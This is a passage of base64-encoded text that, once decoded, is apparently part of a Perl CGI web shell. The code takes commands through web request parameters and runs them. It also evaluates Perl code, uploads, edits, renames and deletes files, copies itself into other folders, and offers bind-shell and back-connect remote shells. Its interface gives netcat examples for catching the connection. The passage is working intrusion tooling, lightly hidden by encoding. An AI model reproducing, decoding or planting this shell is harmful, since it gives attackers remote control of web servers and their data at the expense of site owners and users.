KCRfVkFSeydidG5MaXN0ZW4nfSkpew0KCSRwb3J0ID0gJF9WQVJ7J2xwb3J0Qyd9Ow0KCSRkaXIgPSAmeGNsZWFucGF0aCgkX1ZBUnsnZGlyJ30pOw0KCWlmKCZpc193aW4oKSl7DQoJCSRiYXNlNjQgPSAkd0JpbmQ7DQoJfQ0KCWVsc2V7DQoJCSRiYXNlNjQgPSAkeEJpbmQ7DQoJfQ0KDQoJaWYoJnhydW5leHBsb2l0KCRkaXIsJGJhc2U2NCwkcG9ydCwibGlzdGVuIikpew0KDQoJfQ0KfQ0KaWYoZGVmaW5lZCgkX1ZBUnsnZGlyJ30pICYmICgkX1ZBUnsnZGlyJ30gbmUgIiIpKXsNCgkkbmV3ZGlyID0gJnhjbGVhbnBhdGgoJnRyaW0oJF9WQVJ7J2Rpcid9KSk7DQoJaWYoZGVmaW5lZCgkX1ZBUnsnb2xkZmlsZW5hbWUnfSkgJiYgKCRfVkFSeydvbGRmaWxlbmFtZSd9IG5lICIiKSl7DQoJCSRuZXdkaXIgPSAmZGlybmFtZSgmdHJpbSgkX1ZBUnsncHJvcGVydGllcyd9KSk7DQoJfQ0KCWlmKGRlZmluZWQoJF9WQVJ7J2J0bk5ld1VwbG9hZExvY2FsJ30pKXsNCgkJJGZpbGVjb24gPSAkX1ZBUnsnZmlsZWxvY2FsJ307DQoJCWlmKGRlZmluZWQoJF9WQVJ7J2ZpbGVuYW1lJ30pKXsNCgkJCSRmaWxlbmFtZSA9ICZ0cmltKCRfVkFSeydmaWxlbmFtZSd9KTsNCgkJCWlmKCRmaWxlbmFtZSBlcSAiIil7DQoJCQkJJGZpbGVuYW1lID0gJF9WQVJ7J3VwbG9hZG5hbWUnfTsNCgkJCX0NCgkJfQ0KCQllbHNlew0KCQkJJGZpbGVuYW1lID0gJnRyaW0oJF9WQVJ7J3VwbG9hZG5hbWUnfSk7DQoJCX0NCgkJJnhmaWxlc2F2ZSgkbmV3ZGlyLiRmaWxlbmFtZSwkZmlsZWNvbik7DQoJCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOw0KCQlwcmludCAkbmV3ZGlyLiRmaWxlbmFtZTsNCgl9DQoJaWYoLWQgJG5ld2Rpcil7DQoJCWNoZGlyKCRuZXdkaXIpOw0KCQkkeEN3ZCA9ICRuZXdkaXI7DQoJfQ0KCWVsc2V7DQoJCSRuZXdkaXIgPSAmZGlybmFtZSgkbmV3ZGlyKTsNCgkJaWYoLWQgJG5ld2Rpcil7DQoJCQljaGRpcigkbmV3ZGlyKTsNCgkJCSR4Q3dkID0gJG5ld2RpcjsNCgkJfQ0KCX0NCglpZihkZWZpbmVkKCRfVkFSeydmb2xkZXJuYW1lJ30pICYmICgkX1ZBUnsnZm9sZGVybmFtZSd9IG5lICIiKSl7DQoJCSRmbmFtZSA9ICZ4Y2xlYW5wYXRoKCRfVkFSeydmb2xkZXJuYW1lJ30pOw0KCQlta2RpcigkbmV3ZGlyLiRmbmFtZSk7DQoJfQ0KCWVsc2lmKGRlZmluZWQoJF9WQVJ7J2RlbCd9KSAmJiAoJF9WQVJ7J2RlbCd9IG5lICIiKSl7DQoJCSRmZGVsID0gJF9WQVJ7J2RlbCd9Ow0KCQlpZigtZiAkZmRlbCl7DQoJCQl1bmxpbmsoJGZkZWwpOw0KCQl9DQoJCWVsc2lmKC1kICRmZGVsKXsNCgkJCSZ4cm1kaXIoJGZkZWwpOw0KCQkJJG5ld2RpciA9IHhwYXJlbnRmb2xkZXIoJG5ld2Rpcik7DQoJCX0NCgl9DQoJZWxzaWYoZGVmaW5lZCgkX1ZBUnsnY2hpbGRuYW1lJ30pICYmICgkX1ZBUnsnY2hpbGRuYW1lJ30gbmUgIiIpKXsNCgkJJGNoaWxkbmFtZSA9ICRuZXdkaXIuJnRyaW0oJF9WQVJ7J2NoaWxkbmFtZSd9KTsNCgkJJGNvbiA9ICZ4ZmlsZW9wZW4oJEVOVnsnU0NSSVBUX0ZJTEVOQU1FJ30sMSk7DQoJCSZ4ZmlsZXNhdmUoJGNoaWxkbmFtZSwkY29uKTsNCgl9DQp9DQppZihkZWZpbmVkKCRfVkFSeydjbWQnfSkgJiYgKCRfVkFSeydjbWQnfSBuZSAiIikpew0KCSRjbWQgPSAkX1ZBUnsnY21kJ307DQoJJHhDd2QgPSAmdHJpbSgkX1ZBUnsnZGlyJ30pOw0KCWlmKCRjbWQgPX4gbS9eY2QoLiopJC9pKXsNCgkJJG5ld2RpciA9ICZ0cmltKCQxKTsNCgkJaWYoJG5ld2RpciBlcSAiLi4iKXsNCgkJCSRuZXdkaXIgPSAmeHBhcmVudGZvbGRlcigkeEN3ZCk7DQoJCX0NCgkJZWxzaWYoJG5ld2RpciBlcSAiLiIpew0KCQkJJG5ld2RpciA9ICR4Q3dkOw0KCQl9DQoJCWVsc2lmKCRuZXdkaXIgPX4gbS86Lyl7DQoJCQkkbmV3ZGlyID0gJG5ld2RpcjsNCgkJfQ0KCQllbHNlew0KCQkJJG5ld2RpciA9ICR4Q3dkLiRuZXdkaXI7DQoJCX0NCgkJaWYoLWUgJG5ld2Rpcikgew0KCQkJY2hkaXIoJG5ld2Rpcik7DQoJCQkkeEN3ZCA9ICRuZXdkaXI7DQoJCX0NCgkJJHJlc3VsdCA9ICZ4ZGlyKCR4Q3dkKTsNCgl9DQoJZWxzaWYoJGNtZCA9fiBtL14oXHd7MX06LiopJC9pKXsNCgkJJG5ld2RpciA9ICZ0cmltKCQxKTsNCgkJaWYoLWUgJG5ld2Rpcil7DQoJCQljaGRpcigkbmV3ZGlyKTsNCgkJCSR4Q3dkID0gJG5ld2RpcjsNCgkJfQ0KCQkkcmVzdWx0ID0gJnhkaXIoJHhDd2QpOw0KCX0NCgllbHNlIHsNCgkJJHJlc3VsdCA9ICZla3NlKCRjbWQpOw0KCQlpZigkcmVzdWx0IG5lICIiKSB7DQoJCQkkcmVzdWx0ID0gJmh0bWxzcGVjaWFsY2hhcnMoJHJlc3VsdCk7DQoJCQkkcmVzdWx0ID1+IHMvIC8mbmJzcDsvZzsNCgkJCSRyZXN1bHQgPSAmbmwyYnIoJHJlc3VsdCk7DQoJCX0NCgkJZWxzZSB7DQoJCQkkcmVzdWx0ID0gJnhkaXIoJHhDd2QpOw0KCQl9DQoJfQ0KfQ0KZWxzaWYoZGVmaW5lZCgkX1ZBUnsnZXZhbCd9KSAmJiAoJF9WQVJ7J2V2YWwnfSBuZSAiIikpew0KCSRjbWRldmFsID0gJF9WQVJ7J2V2YWwnfTsNCgkkcmVzdWx0ID0gJmh0bWxzcGVjaWFsY2hhcnMoJnhldmFsKCRfVkFSeydldmFsJ30pKTsNCn0NCmVsc2lmKGRlZmluZWQoJF9WQVJ7J3Byb3BlcnRpZXMnfSkgJiYgKCRfVkFSeydwcm9wZXJ0aWVzJ30gbmUgIiIpKXsNCgkkZm5hbWUgPSAmdHJpbSgkX1ZBUnsncHJvcGVydGllcyd9KTsNCgkkZGlyID0gJnRyaW0oJF9WQVJ7J2Rpcid9KTsNCglpZihkZWZpbmVkKCRfVkFSeydvbGRmaWxlbmFtZSd9KSAmJiAoJF9WQVJ7J29sZGZpbGVuYW1lJ30gbmUgIiIpKXsNCgkJJG9sZG5hbWUgPSAmdHJpbSgkX1ZBUnsnb2xkZmlsZW5hbWUnfSk7DQoJCXJlbmFtZSgkb2xkbmFtZSwkZm5hbWUpOw0KCX0NCgkkZmNvbnQgPSAiIjsNCgkkZnZpZXcgPSAiIjsNCglpZigtZCAkZm5hbWUpew0KCQkkZnNpemUgPSAiRElSIjsNCgkJJGZjb250ID0gJnhkaXIoJGZuYW1lKTsNCgkJJGZhY3Rpb24gPSAiPGEgaHJlZj1cIj9kaXI9Ii4meGNsZWFucGF0aCgkZm5hbWUpLiImcHJvcGVydGllcz0iLiZ4Y2xlYW5wYXRoKCRmbmFtZSkuIlwiPlByb3BlcnRpZXM8L2E+IHwgPGEgaHJlZj1cIj9kaXI9Ii4meGNsZWFucGF0aCh4cGFyZW50Zm9sZGVyKCRmbmFtZSkpLiImZGVsPSIuJnhjbGVhbnBhdGgoJGZuYW1lKS4iXCI+UmVtb3ZlPC9hPiI7DQoNCgl9DQoJZWxzZXsNCgkJJGZuYW1lID0gdHJpbXNsYXNoZXMoJGZuYW1lKTsNCgkJJGZzaXplID0gJnhwYXJzZWZpbGVzaXplKCZ4ZmlsZXNpemUoJGZuYW1lKSkuIiA8c3BhbiBjbGFzcz1cImdhdWxcIj4oIDwvc3Bhbj4iLiZ4ZmlsZXNpemUoJGZuYW1lKS4iIGJ5dGVzPHNwYW4gY2xhc3M9XCJnYXVsXCI+ICk8L3NwYW4+IjsNCgkJJHR5cGUgPSAidGV4dCI7DQoJCWlmKGRlZmluZWQoJF9WQVJ7J3R5cGUnfSkpew0KCQkJJHR5cGUgPSAmdHJpbSgkX1ZBUnsndHlwZSd9KTsNCgkJfQ0KCQlpZigkdHlwZSBlcSAnaW1nJyl7DQoJCQkkaW1nbGluayA9ICI8cD48YSBocmVmPVwiP2ltZz0iLiRmbmFtZS4iXCIgdGFyZ2V0PVwiX2JsYW5rXCI+PHNwYW4gY2xhc3M9XCJnYXVsXCI+WyA8L3NwYW4+dmlldyBmdWxsIHNpemU8c3BhbiBjbGFzcz1cImdhdWxcIj4gXTwvc3Bhbj48L2E+PC9wPiI7DQoJCQkkZmNvbnQgPSAiPGRpdiBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO3dpZHRoOjEwMCU7XCI+Ii4kaW1nbGluay4iPGltZyB3aWR0aD1cIjgwMFwiIHNyYz1cIj9pbWc9Ii4kZm5hbWUuIlwiIGFsdD1cIlwiIHN0eWxlPVwibWFyZ2luOjhweCBhdXRvO3BhZGRpbmc6MDtib3JkZXI6MDtcIiAvPjwvZGl2PiI7DQoJCX0NCgkJZWxzZSB7DQoJCQkkY29kZSA9ICZodG1sc3BlY2lhbGNoYXJzKCZ4ZmlsZW9wZW4oJGZuYW1lLDApKTsNCgkJCSRmY29udCA9ICI8ZGl2IGNsYXNzPVwiYm94Y29kZVwiPiIuJm5sMmJyKCRjb2RlKS4iPC9kaXY+IjsNCgkJfQ0KCQkkZmFjdGlvbiA9ICI8YSBocmVmPVwiP2Rpcj0iLiZ4Y2xlYW5wYXRoKCRkaXIpLiImdmlldz0iLiRmbmFtZS4iXCI+RWRpdDwvYT4gfCA8YSBocmVmPVwiP2dldD0iLiRmbmFtZS4iXCI+RG93bmxvYWQ8L2E+IHwgPGEgaHJlZj1cIj9kaXI9Ii4meGNsZWFucGF0aCgkZGlyKS4iJmRlbD0iLiRmbmFtZS4iXCI+UmVtb3ZlPC9hPiI7DQoJCSRmdmlldyA9ICI8YSBocmVmPVwiP2Rpcj0iLiZ4Y2xlYW5wYXRoKCRkaXIpLiImcHJvcGVydGllcz0iLiRmbmFtZS4iJnR5cGU9dGV4dFwiPjxzcGFuIGNsYXNzPVwiZ2F1bFwiPlsgPC9zcGFuPnRleHQ8c3BhbiBjbGFzcz1cImdhdWxcIj4gXTwvc3Bhbj48L2E+PGEgaHJlZj1cIj9kaXI9Ii4meGNsZWFucGF0aCgkZGlyKS4iJnByb3BlcnRpZXM9Ii4kZm5hbWUuIiZ0eXBlPWltZ1wiPjxzcGFuIGNsYXNzPVwiZ2F1bFwiPlsgPC9zcGFuPmltYWdlPHNwYW4gY2xhc3M9XCJnYXVsXCI+IF08L3NwYW4+PC9hPiI7DQoJfQ0KCSRmb3duZXIgPSAmeGZpbGVvd25lcigkZm5hbWUpOw0KCSRmcGVybSA9ICZ4ZmlsZXBlcm1zKCRmbmFtZSk7DQoJQG1vbnRoID0gcXcvSmFuIEZlYiBNYXIgQXByIE1heSBKdW4gSnVsIEF1ZyBTZXAgT2N0IE5vdiBEZWMvOw0KCSgkbGEsJGxtLCRsYykgPSAoc3RhdCgkZm5hbWUpKVs4LDksMTBdOw0KCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsbSkpWzMsNCw1LDIsMV07DQoJJHkgPSAkeSArIDE5MDA7DQoJJGxtdGltZSA9IHNwcmludGYoIiUwMmQtJXMtJTRkICUwMmQ6JTAyZCIsJGQsJG1vbnRoWyRtXSwkeSwkaCwkaSk7DQoJKCRkLCRtLCR5LCRoLCRpKSA9IChsb2NhbHRpbWUoJGxhKSlbMyw0LDUsMiwxXTsNCgkkeSA9ICR5ICsgMTkwMDsNCgkkbGF0aW1lID0gc3ByaW50ZigiJTAyZC0lcy0lNGQgJTAyZDolMDJkIiwkZCwkbW9udGhbJG1dLCR5LCRoLCRpKTsNCgkoJGQsJG0sJHksJGgsJGkpID0gKGxvY2FsdGltZSgkbGMpKVszLDQsNSwyLDFdOw0KCSR5ID0gJHkgKyAxOTAwOw0KCSRjdGltZSA9IHNwcmludGYoIiUwMmQtJXMtJTRkICUwMmQ6JTAyZCIsJGQsJG1vbnRoWyRtXSwkeSwkaCwkaSk7DQoJJHJlc3VsdCA9ICI8ZGl2IHN0eWxlPVwiZGlzcGxheTppbmxpbmU7XCI+DQoJPGZvcm0gYWN0aW9uPVwiP1wiIG1ldGhvZD1cImdldFwiIHN0eWxlPVwibWFyZ2luOjA7cGFkZGluZzoxcHggOHB4O3RleHQtYWxpZ246bGVmdDtcIj4NCgk8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJkaXJcIiB2YWx1ZT1cIiIuJGRpci4iXCIgLz4NCgk8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJvbGRmaWxlbmFtZVwiIHZhbHVlPVwiIi4kZm5hbWUuIlwiIC8+Ii4kZmFjdGlvbi4iIHwNCgk8c3Bhbj48aW5wdXQgc3R5bGU9XCJ3aWR0aDo1MCU7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwicHJvcGVydGllc1wiIHZhbHVlPVwiIi4kZm5hbWUuIlwiIC8+DQoJPGlucHV0IHN0eWxlPVwid2lkdGg6MTIwcHhcIiBjbGFzcz1cImJ0blwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiYnRuUmVuYW1lXCIgdmFsdWU9XCJSZW5hbWVcIiAvPg0KCTwvc3Bhbj4NCgk8ZGl2IGNsYXNzPVwiZnByb3BcIj4NCglTaXplID0gIi4kZnNpemUuIjxiciAvPg0KCU93bmVyID0gPHNwYW4gY2xhc3M9XCJnYXVsXCI+KCA8L3NwYW4+Ii4kZm93bmVyLiI8c3BhbiBjbGFzcz1cImdhdWxcIj4gKTwvc3Bhbj48YnIgLz4NCglQZXJtaXNzaW9uID0gPHNwYW4gY2xhc3M9XCJnYXVsXCI+KCA8L3NwYW4+Ii4kZnBlcm0uIjxzcGFuIGNsYXNzPVwiZ2F1bFwiPiApPC9zcGFuPjxiciAvPg0KCUNyZWF0ZSBUaW1lID0gPHNwYW4gY2xhc3M9XCJnYXVsXCI+KCA8L3NwYW4+Ii4kY3RpbWUuIjxzcGFuIGNsYXNzPVwiZ2F1bFwiPiApPC9zcGFuPjxiciAvPg0KCUxhc3QgTW9kaWZpZWQgPSA8c3BhbiBjbGFzcz1cImdhdWxcIj4oIDwvc3Bhbj4iLiRsbXRpbWUuIjxzcGFuIGNsYXNzPVwiZ2F1bFwiPiApPC9zcGFuPjxiciAvPg0KCUxhc3QgQWNjZXNzZWQgPSA8c3BhbiBjbGFzcz1cImdhdWxcIj4oIDwvc3Bhbj4iLiRsYXRpbWUuIjxzcGFuIGNsYXNzPVwiZ2F1bFwiPiApPC9zcGFuPjxiciAvPg0KCSIuJGZ2aWV3LiINCgk8L2Rpdj4NCgkiLiRmY29udC4iDQoJPC9mb3JtPg0KCTwvZGl2Pg0KCSI7DQp9DQplbHNpZigoZGVmaW5lZCgkX1ZBUnsndmlldyd9KSAmJiAoJF9WQVJ7J3ZpZXcnfSBuZSAiIikpIHx8ICgoZGVmaW5lZCgkX1ZBUnsnZmlsZW5hbWUnfSkgJiYgKCRfVkFSeydmaWxlbmFtZSd9IG5lICIiKSkpKXsNCgkkbXNnID0gIiI7DQoJaWYoZGVmaW5lZCgkX1ZBUnsnc2F2ZSd9KSl7DQoJCSRmaWxlID0gJnRyaW0oJF9WQVJ7J3NhdmVhcyd9KTsNCgkJJGNvbnRlbnQgPSAkX1ZBUnsnZmlsZXNvdXJjZSd9Ow0KCQlpZigmeGZpbGVzYXZlKCRmaWxlLCRjb250ZW50KSl7DQoJCQkkcGVzYW4gPSAiRmlsZSBTYXZlZCI7DQoJCX0NCgkJZWxzZXsNCgkJCSRwZXNhbiA9ICJGYWlsZWQgdG8gc2F2ZSBmaWxlIjsNCgkJfQ0KCQkkbXNnID0gIjxzcGFuIHN0eWxlPVwiZmxvYXQ6cmlnaHQ7XCI+PHNwYW4gY2xhc3M9XCJnYXVsXCI+WyA8L3NwYW4+Ii4kcGVzYW4uIjxzcGFuIGNsYXNzPVwiZ2F1bFwiPiBdPC9zcGFuPjwvc3Bhbj4iOw0KCX0NCgllbHNlIHsNCgkJaWYoZGVmaW5lZCgkX1ZBUnsndmlldyd9KSAmJiAoJF9WQVJ7J3ZpZXcnfSBuZSAiIikpew0KCQkJJGZpbGUgPSAmdHJpbSgkX1ZBUnsndmlldyd9KTsNCgkJfQ0KCQllbHNlew0KCQkJJGZpbGUgPSAkeEN3ZC4mdHJpbSgkX1ZBUnsnZmlsZW5hbWUnfSk7DQoJCX0NCgl9DQoJJHJlc3VsdCA9ICZ4ZmlsZW9wZW4oJGZpbGUsMCk7DQoJJHJlc3VsdCA9ICZodG1sc3BlY2lhbGNoYXJzKCRyZXN1bHQpOw0KCSRyZXN1bHQgPSAiDQoJPHAgc3R5bGU9XCJwYWRkaW5nOjA7bWFyZ2luOjA7dGV4dC1hbGlnbjpsZWZ0O1wiPjxhIGhyZWY9XCI/ZGlyPSIuJHhDd2QuIiZwcm9wZXJ0aWVzPSIuJGZpbGUuIlwiPiIuJnhmaWxlc3VtbWFyeSgkZmlsZSkuIjwvYT4iLiRtc2cuIjwvcD48ZGl2IHN0eWxlPVwiY2xlYXI6Ym90aDttYXJnaW46MDtwYWRkaW5nOjA7XCI+PC9kaXY+DQoJPGZvcm0gYWN0aW9uPVwiP2Rpcj0iLiR4Q3dkLiImdmlldz0iLiRmaWxlLiImc2F2ZT1TYXZlIEFzXCIgbWV0aG9kPVwicG9zdFwiPg0KPHRleHRhcmVhIG5hbWU9XCJmaWxlc291cmNlXCIgc3R5bGU9XCJ3aWR0aDoxMDAlO2hlaWdodDoyMDBweDtcIj4iLiRyZXN1bHQuIjwvdGV4dGFyZWE+DQoJPGlucHV0IHR5cGU9XCJ0ZXh0XCIgc3R5bGU9XCJ3aWR0aDo4MCU7XCIgIG5hbWU9XCJzYXZlYXNcIiB2YWx1ZT1cIiIuJGZpbGUuIlwiIC8+DQoJPGlucHV0IHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0blwiIHN0eWxlPVwid2lkdGg6MTIwcHg7XCIgbmFtZT1cInNhdmVcIiB2YWx1ZT1cIlNhdmUgQXNcIiAvPg0KCTwvZm9ybT4NCgkiOw0KfQ0KZWxzZXsNCgkkcmVzdWx0ID0gJnhkaXIoJHhDd2QpOw0KfQ0KDQokeEN3ZCA9IHhjbGVhbnBhdGgoJHhDd2QpOw0KaWYoJGF1dGgpew0KCWlmKGRlZmluZWQoJF9WQVJ7J2Jwb3J0Qyd9KSkgeyAkYnBvcnRDID0gJF9WQVJ7J2Jwb3J0Qyd9OyB9DQoJZWxzZSB7ICRicG9ydEMgPSAkc2hlbGxfZmF2X3BvcnQ7IH0NCglpZihkZWZpbmVkKCRfVkFSeydscG9ydEMnfSkpIHsgJGxwb3J0QyA9ICRfVkFSeydscG9ydEMnfTsgfQ0KCWVsc2UgeyAkbHBvcnRDID0gJHNoZWxsX2Zhdl9wb3J0OyB9DQoJJGh0bWxfdGl0bGUgPSAkc2hlbGxfdGl0bGUuIiAiLiR4Q3dkOw0KCSRodG1sX2hlYWQgPSAiDQo8dGl0bGU+Ii4kaHRtbF90aXRsZS4iPC90aXRsZT4NCjxsaW5rIHJlbD1cIlNIT1JUQ1VUIElDT05cIiBocmVmPVwiIi4kRU5WeydTQ1JJUFRfTkFNRSd9LiI/aW1nPWljb25cIiAvPg0KIi4kc2hlbGxfc3R5bGUuIg0KPHNjcmlwdCB0eXBlPVwidGV4dC9qYXZhc2NyaXB0XCI+DQpmdW5jdGlvbiB1cGRhdGVJbmZvKGJveGlkLHR5cCl7DQoJaWYodHlwID09IDApew0KCQl2YXIgcG9sYSA9ICdleGFtcGxlOiAodXNpbmcgbmV0Y2F0KSBydW4gJnF1b3Q7bmMgLWwgLXAgX19QT1JUX18mcXVvdDsgYW5kIHRoZW4gcHJlc3MgQ29ubmVjdCc7DQoJfQ0KCWVsc2V7DQoJCXZhciBwb2xhID0gJ2V4YW1wbGU6ICh1c2luZyBuZXRjYXQpIHByZXNzICZxdW90O0xpc3RlbiZxdW90OyBhbmQgdGhlbiBydW4gJnF1b3Q7bmMgIi4keFNlcnZlcklQLiIgX19QT1JUX18mcXVvdDsnOw0KCX0NCg0KCXZhciBwb3J0bnVtID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoYm94aWQpLnZhbHVlOw0KDQoJdmFyIGhhc2lsID0gcG9sYS5yZXBsYWNlKCdfX1BPUlRfXycsIHBvcnRudW0pOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGJveGlkKydfJykuaW5uZXJIVE1MID0gaGFzaWw7DQp9DQoNCmZ1bmN0aW9uIHNob3coYm94aWQpew0KCXZhciBib3ggPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChib3hpZCk7DQoJaWYoYm94LnN0eWxlLmRpc3BsYXkgIT0gJ2lubGluZScpew0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbmV3ZmlsZScpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7DQoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCduZXdmb2xkZXInKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOw0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbmV3dXBsb2FkJykuc3R5bGUuZGlzcGxheSA9ICdub25lJzsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ25ld2NoaWxkJykuc3R5bGUuZGlzcGxheSA9ICdub25lJzsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ25ld2Nvbm5lY3QnKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOw0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZGl2X2V2YWwnKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOw0KDQoJCWJveC5zdHlsZS5kaXNwbGF5ID0gJ2lubGluZSc7DQoJCWJveC5mb2N1cygpOw0KCX0NCgllbHNlIGJveC5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOw0KfQ0KZnVuY3Rpb24gaGlnaGxpZ2h0aGV4ZHVtcChhZGRyZXNzKXsNCgl2YXIgdGFyZ2V0ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoYWRkcmVzcyk7DQoJdGFyZ2V0LnN0eWxlLmJhY2tncm91bmQgPSAnIi4kc2hlbGxfY29sb3IuIic7DQp9DQpmdW5jdGlvbiB1bmhpZ2hsaWdodGhleGR1bXAoYWRkcmVzcyl7DQoJdmFyIHRhcmdldCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGFkZHJlc3MpOw0KCXRhcmdldC5zdHlsZS5iYWNrZ3JvdW5kID0gJ25vbmUnOw0KfQ0KPC9zY3JpcHQ+DQoiOw0KJGh0bWxfYm9keSA9ICINCjxkaXYgaWQ9XCJ3cmFwcGVyXCI+DQo8aDEgb25tb3VzZW92ZXI9XCJ0aGlzLnN0eWxlLmN1cnNvcj0ncG9pbnRlcic7dGhpcy5zdHlsZS5jdXJzb3I9J2hhbmQnO1wiICBvbmNsaWNrPVwid2luZG93LmxvY2F0aW9uPSAnPyc7XCI+PGEgaHJlZj1cIj9cIj4iLiRzaGVsbF90aXRsZS4iPC9hPjwvaDE+DQo8ZGl2IGNsYXNzPVwiYm94XCI+Ii4keEhlYWRlci4iDQo8ZGl2IGNsYXNzPVwiZnBhdGhcIj4NCiIuJnhkcml2ZSgpLiINCiIuJnhwYXJzZWRpcigkeEN3ZCkuIg0KPC9kaXY+DQo8ZGl2IGNsYXNzPVwibWVudVwiPg0KPGEgaHJlZj1cImphdmFzY3JpcHQ6c2hvdygnbmV3ZmlsZScpO1wiPjxzcGFuIGNsYXNzPVwiZ2F1bFwiPlsgPC9zcGFuPiBOZXcgRmlsZTxzcGFuIGNsYXNzPVwiZ2F1bFwiPiBdPC9zcGFuPjwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OnNob3coJ25ld2ZvbGRlcicpO1wiPjxzcGFuIGNsYXNzPVwiZ2F1bFwiPlsgPC9zcGFuPk5ldyBGb2xkZXI8c3BhbiBjbGFzcz1cImdhdWxcIj4gXTwvc3Bhbj48L2E+DQo8YSBocmVmPVwiamF2YXNjcmlwdDpzaG93KCduZXdjaGlsZCcpO1wiPjxzcGFuIGNsYXNzPVwiZ2F1bFwiPlsgPC9zcGFuPlJlcGxpY2F0ZTxzcGFuIGNsYXNzPVwiZ2F1bFwiPiBdPC9zcGFuPjwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OnNob3coJ25ld3VwbG9hZCcpO1wiPjxzcGFuIGNsYXNzPVwiZ2F1bFwiPlsgPC9zcGFuPlVwbG9hZDxzcGFuIGNsYXNzPVwiZ2F1bFwiPiBdPC9zcGFuPjwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OnNob3coJ25ld2Nvbm5lY3QnKTtcIj48c3BhbiBjbGFzcz1cImdhdWxcIj5bIDwvc3Bhbj5CaW5kU2hlbGw8c3BhbiBjbGFzcz1cImdhdWxcIj4gXTwvc3Bhbj48L2E+DQo8YSBocmVmPVwiamF2YXNjcmlwdDpzaG93KCdkaXZfZXZhbCcpO1wiPjxzcGFuIGNsYXNzPVwiZ2F1bFwiPlsgPC9zcGFuPlBlcmwgRXZhbDxzcGFuIGNsYXNzPVwiZ2F1bFwiPiBdPC9zcGFuPjwvYT4NCjwvZGl2Pg0KPGRpdiBjbGFzcz1cImhpZGRlblwiIGlkPVwibmV3Y29ubmVjdFwiPg0KPGZvcm0gbWV0aG9kPVwiZ2V0XCIgYWN0aW9uPVwiP1wiIHN0eWxlPVwiZGlzcGxheTppbmxpbmU7bWFyZ2luOjA7cGFkZGluZzowO1wiPg0KPHRhYmxlIGNsYXNzPVwidGJsQm94XCIgc3R5bGU9XCJ3aWR0aDoxMDAlO1wiPg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZGlyXCIgdmFsdWU9XCIiLiR4Q3dkLiJcIiAvPg0KPHRyPjx0ZCBzdHlsZT1cIndpZHRoOjEzMHB4O1wiPkJhY2tDb25uZWN0PC90ZD48dGQgc3R5bGU9XCJ3aWR0aDoyMDBweDtcIj4NClBvcnQmbmJzcDs8aW5wdXQgbWF4bGVuZ3RoPVwiNVwiIGlkPVwiYmFja0NcIiBvbmtleXVwPVwidXBkYXRlSW5mbygnYmFja0MnLDApO1wiIHN0eWxlPVwid2lkdGg6NjBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJicG9ydENcIiB2YWx1ZT1cIiIuJGJwb3J0Qy4iXCIgLz4NCjxpbnB1dCBzdHlsZT1cIndpZHRoOjEwMHB4O1wiIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0blwiIG5hbWU9XCJidG5Db25uZWN0XCIgdmFsdWU9XCJDb25uZWN0XCIgLz4NCjwvdGQ+DQo8dGQ+PHNwYW4gaWQ9XCJiYWNrQ19cIiBjbGFzcz1cIm1zZ2NvblwiPmV4YW1wbGU6ICh1c2luZyBuZXRjYXQpIHJ1biAmcXVvdDtuYyAtbCAtcCAiLiRicG9ydEMuIiZxdW90OyBhbmQgdGhlbiBwcmVzcyBDb25uZWN0PC9zcGFuPjwvdGQ+DQo8L3RyPg0KPHRyPjx0ZD5MaXN0ZW48L3RkPjx0ZD4NClBvcnQmbmJzcDs8aW5wdXQgbWF4bGVuZ3RoPVwiNVwiIGlkPVwibGlzdGVuQ1wiIG9ua2V5dXA9XCJ1cGRhdGVJbmZvKCdsaXN0ZW5DJywxKTtcIiBzdHlsZT1cIndpZHRoOjYwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibHBvcnRDXCIgdmFsdWU9XCIiLiRscG9ydEMuIlwiIC8+DQo8aW5wdXQgc3R5bGU9XCJ3aWR0aDoxMDBweDtcIiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG5cIiBuYW1lPVwiYnRuTGlzdGVuXCIgdmFsdWU9XCJMaXN0ZW5cIiAvPg0KPC90ZD4NCjx0ZD48c3BhbiBpZD1cImxpc3RlbkNfXCIgY2xhc3M9XCJtc2djb25cIj5leGFtcGxlOiAodXNpbmcgbmV0Y2F0KSBwcmVzcyAmcXVvdDtMaXN0ZW4mcXVvdDsgYW5kIHRoZW4gcnVuICZxdW90O25jICIuJHhTZXJ2ZXJJUC4iICIuJGxwb3J0Qy4iJnF1b3Q7PC9zcGFuPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjwvZm9ybT4NCjwvZGl2Pg0KPGRpdiBjbGFzcz1cImhpZGRlblwiIGlkPVwibmV3Zm9sZGVyXCI+DQo8Zm9ybSBtZXRob2Q9XCJnZXRcIiBhY3Rpb249XCI/XCIgc3R5bGU9XC